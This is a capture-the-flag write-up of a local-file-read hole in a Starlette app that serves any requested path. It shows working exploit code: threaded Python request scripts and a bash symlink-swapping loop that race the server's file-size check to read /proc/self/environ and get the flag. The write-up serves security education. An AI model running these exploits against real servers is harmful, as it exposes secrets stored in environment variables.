-
Challenge Description: Funny lfr
❖ Note
You can access the challenge via SSH:
ncat -nlvp 2222 -c "ncat --ssl funny-lfr.chals.sekai.team 1337" & ssh -p2222 user@localhost
SSH access is only for convenience and is not related to the challenge.
-
Challenge Author: irogir
tl;dr
- Local File Read (LFR) in Starlette app via
FileResponse
. - Unable to access
/proc/self/environ
due to zerost_size
and content-length restrictions. - Exploit using race condition and symlink to access
/proc/self/environ
and retrieve the flag.
Overview
In this challenge, we're given a Dockerfile
and an app.py
file. Let's dive into the code:
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import FileResponse
async def download(request):
return FileResponse(request.query_params.get("file"))
app = Starlette(routes=[Route("/", endpoint=download)])
The Dockerfile is as follows:
FROM python:3.9-slim
RUN pip install --no-cache-dir starlette uvicorn
WORKDIR /app
COPY app.py .
ENV FLAG="SEKAI{test_flag}"
CMD ["uvicorn", "app:app", "--host", "0", "--port", "1337"]
From the Dockerfile, we can see that the flag is stored in an environment variable named FLAG
. The app.py
file takes a file path as a query parameter named file
:
async def download(request):
return FileResponse(request.query_params.get("file"))
app = Starlette(routes=[Route("/", endpoint=download)])
Now, let's try accessing /etc/passwd
:
Cool ! It worked !!..
Since we know environment variables are stored in /proc/self/environ
, let's try querying that to retrieve the flag:
trying that :
However, trying this didn't yield any results. Why not?
Upon checking the error logs, we noticed:
hmm, so there seems to be an issue with the content length when accessing it
To understand this further, let's inspect the Starlette source code. In response.py, we find the following
To understand whats going under the hood, I tried to debug the code
async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
if self.stat_result is None:
try:
stat_result = await anyio.to_thread.run_sync(os.stat, self.path)
self.set_stat_headers(stat_result)
except FileNotFoundError:
raise RuntimeError(f"File at path {self.path} does not exist.")
else:
mode = stat_result.st_mode
if not stat.S_ISREG(mode):
raise RuntimeError(f"File at path {self.path} is not a file.")
await send(
{
"type": "http.response.start",
"status": self.status_code,
"headers": self.raw_headers,
}
)
if scope["method"].upper() == "HEAD":
await send({"type": "http.response.body", "body": b"", "more_body": False})
else:
async with await anyio.open_file(self.path, mode="rb") as file:
more_body = True
while more_body:
chunk = await file.read(self.chunk_size)
more_body = len(chunk) == self.chunk_size
await send(
{
"type": "http.response.body",
"body": chunk,
"more_body": more_body,
}
)
So here , we can see that they are using os.stat
to get the information about the file.
It turns out that when accessing /proc/self/environ
, the st_size
is reported as 0, which causes the content-length
to be set to 0 as well.
In h11's _writers.py
, we find:
class ContentLengthWriter(BodyWriter):
def __init__(self, length: int) -> None:
self._length = length
def send_data(self, data: bytes, write: Writer) -> None:
breakpoint()
self._length -= len(data)
if self._length < 0:
raise LocalProtocolError("Too much data for declared Content-Length")
write(data)
def send_eom(self, headers: Headers, write: Writer) -> None:
if self._length != 0:
raise LocalProtocolError("Too little data for declared Content-Length")
if headers:
raise LocalProtocolError("Content-Length and trailers don't mix")
Searching further about this , we can find :
so this is the reason why we were not able to access /proc/
files.
Exploiting
Exploit using File Descriptor (FD)
Since the file is read after the content-length is set, we can exploit this by using a race condition. First, when Starlette reads os.stat
, the FD should point to a file with a content-length greater than 0. When it starts reading, we can swap the FD to /proc/self/environ
.
import threading
import socket
host="{{REDACTED}}"
port=1337
def make_req(host, port, path):
with socket.create_connection((host, port)) as client:
req = f"GET /?file={path} HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n"
client.sendall(req.encode())
res = b""
while True:
data_chunk = client.recv(4096)
if not data_chunk:
break
res += data_chunk
return res.decode('utf-8')
def search(path):
while True:
server_res = make_req(host, port, path)
if "sekai" in server_res.lower():
print(server_res)
break
paths = ["/etc/passwd", "/proc/self/environ", "/proc/self/fd/7"]
def main():
threads = []
for i in paths:
for j in range(5):
t = threading.Thread(target=search, args=(i,))
t.start()
threads.append(t)
for a in threads:
a.join()
main()
Exploit using symlink
Since SSH was given in this challenge, we can read and write files in it.
creating a bash script that changes the symlink between /proc/self/environ
and file with content-length in a loop can hit /proc/self/environ
and thus give us the flag
cat << 'EOF' > exp.sh
#! /bin/bash
ln -s /etc/passwd /tmp/1/a
while true; do
ln -sf /proc/self/environ /tmp/1/a
ln -sf /etc/passwd /tmp/1/a
done
EOF
import socket
host = "localhost"
port = 1337
request = "GET /?file=/tmp/1/a HTTP/1.1\r\nHost: localhost\r\n\r\n"
while True:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
s.sendall(request.encode())
response = b""
while True:
data = s.recv(4096)
if not data:
break
response += data
print(response.decode())
Flag: SEKAI{b04aef298ec8d45f6c62e6b6179e2e66de10c542}
This is an interesting challenge as it demonstrated the complexities of secure file handling in web applications and the potential for exploiting race conditions and symlink manipulations. It highlighted the importance of thorough security testing and the need for developers to be aware of the intricacies of the frameworks and systems they use.